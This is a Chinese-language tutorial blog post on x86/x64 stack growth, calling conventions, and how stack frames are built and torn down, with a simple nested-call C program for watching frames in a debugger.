栈的向下增长特性栈是一种后进先出(LIFO)的数据结构在x86和x86_64架构下,栈从高地址向低地址方向增长每次push操作,栈顶指针(ESP或者RSP)都会减小;每次pop操作则会增大栈的主要作用包括保存函数调用现场、保存局部变量、保存返回地址栈的数据结构通过这个图可以比较直观的看到栈的结构与对应的入栈和出栈操作(注意:此时只是为了便于观察,故而展示栈底在下,栈顶在上,实际情况下应该以高低地址为判断标准)栈并非一个可以无限填充数据的结构,他的大小是有限的,比方说一个水杯只能装100ml,但是你倒了800ml,就会导致水满溢出,栈也是一样的,如果他只能存放100字节,那么你放了800字节就会导致栈溢出函数调用过程参数压栈顺序:超出寄存器的部分从右向左压入栈中call指令执行时:将当前指令地址压入栈中(为后续返回做准备)跳转到目标函数的入口被调用函数prologue过程: push rbp 保存旧帧地址 mov rbp, rsp 建立新的栈帧 sub rsp, xxx 为局部变量预留空间函数退出时使用 leave 与 ret 恢复现场上面这些看不懂?没关系,继续向下看看,我会逐步拆解明确核心概念:x64 函数调用的 “寄存器传参优先” 规则在 x64(Windows/Linux)中,函数调用并非直接压栈所有参数,而是优先用寄存器传参,仅当参数数量超出寄存器上限时,剩余参数才从右向左压栈。这是理解 “超出寄存器部分压栈” 的前提:平台前 N 个参数的寄存器(从第 1 个到第 N 个)超出部分的处理方式Windows x64rcx(第 1 个)、rdx(第 2 个)、r8(第 3 个)、r9(第 4 个)从右向左压栈(第 5 个及以后)Linux x64rdi(第 1 个)、rsi(第 2 个)、rdx(第 3 个)、rcx(第 4 个)、r8(第 5 个)、r9(第 6 个)从右向左压栈(第 7 个及以后)例:Windows 下调用func(a, b, c, d, e, f),前 4 个参数a(b1)、b(b2)、c(b3)、d(b4)分别存在rcx、rdx、r8、r9中,剩余e(b5)、f(b6)从右向左压栈(先压f,再压e)。逐步骤拆解:从 “调用函数” 到 “函数退出”假设调用func(p1,p2,p3,p4,p5,p6,p7),前 6 个参数用寄存器传递,第 7 个参数p7需要压栈,完整流程如下:步骤 1:调用者准备参数(寄存器 + 栈传参)前 6 个参数存入寄存器: rdi=p1、rsi=p2、rdx=p3、rcx=p4、r8=p5、r9=p6;第 7 个参数p7(超出寄存器上限)从右向左压栈(因只有 1 个超出参数,直接压p7);压栈操作:push p7 → rsp减少 8 字节(x64 栈元素为 8 字节)。此时栈状态(高地址→低地址):步骤 2:执行call func指令(保存返回地址 + 跳转)call func执行两件事:压入返回地址ret_addr(call下一条指令的地址)→ rsp再减 8 字节;跳转到func入口(rip指向func起始地址)。此时栈状态(rsp指向ret_addr):步骤 3:被调用函数执行Prologue(建立栈帧)Linux x64 函数的 Prologue 与 Windows 类似,核心是用rbp固定栈帧:push rbp → 保存调用者的rbp(old_rbp),rsp减 8 字节;mov rbp, rsp → rbp指向当前栈顶(old_rbp的地址),作为新栈帧基准;sub rsp, N → 预留局部变量空间(N为局部变量总字节数,需 8 字节对齐)。mov rbp, rsp 是 Intel 语法(Windows、NASM 等常用)mov %rsp, %rbp 是 AT&T 语法(Linux、GCC 等常用)Intel 语法:mov 目标操作数, 源操作数 (先写要写入的寄存器,再写提供数据的寄存器)AT&T 语法:mov 源操作数, 目标操作数 (先写提供数据的寄存器,再写要写入的寄存器),且寄存器前必须加 % 前缀两者等价,生成的机器码也完全一致假设func有 3 个局部变量(共 24 字节,N=24),此时栈状态:步骤 4:函数执行核心逻辑访问寄存器传参:直接用rdi(p1)、rsi(p2)等寄存器;访问栈传参数p7:mov rax, [rbp+16];访问局部变量var2:mov rbx, [rbp-16]。步骤 5:函数退出(leave + ret 恢复现场)执行leave指令等价于:mov rsp, rbp ; 释放局部变量空间,rsp指向old_rbp pop rbp ; 恢复调用者的rbp,rsp指向ret_addr执行后栈状态:执行ret指令弹出ret_addr到rip → rsp增加 8 字节(指向p7);CPU 跳回ret_addr,继续执行调用者代码。代码调试:观察函数调用栈帧#include <stdio.h> void func3() { int c = 3; printf("In func3: c = %d\n", c); } void func2() { int b = 2; printf("In func2: b = %d\n", b); func3(); } void func1() { int a = 1; printf("In func1: a = %d\n", a); func2(); } int main() { func1(); return 0; } 编译指令:gcc -m32 -g -fno-stack-protector -no-pie -o stack stack.ccall下栈顶的变化call之前栈顶地址以及call之后会返回的地址call之后,esp-0x4,然后对应压栈ret_addr,发现确实将返回地址加进去了后面也是一样的,我就不一一复现了,主要是了解原理即可。
2025年09月21日
1 阅读
0 评论
0 点赞
1
2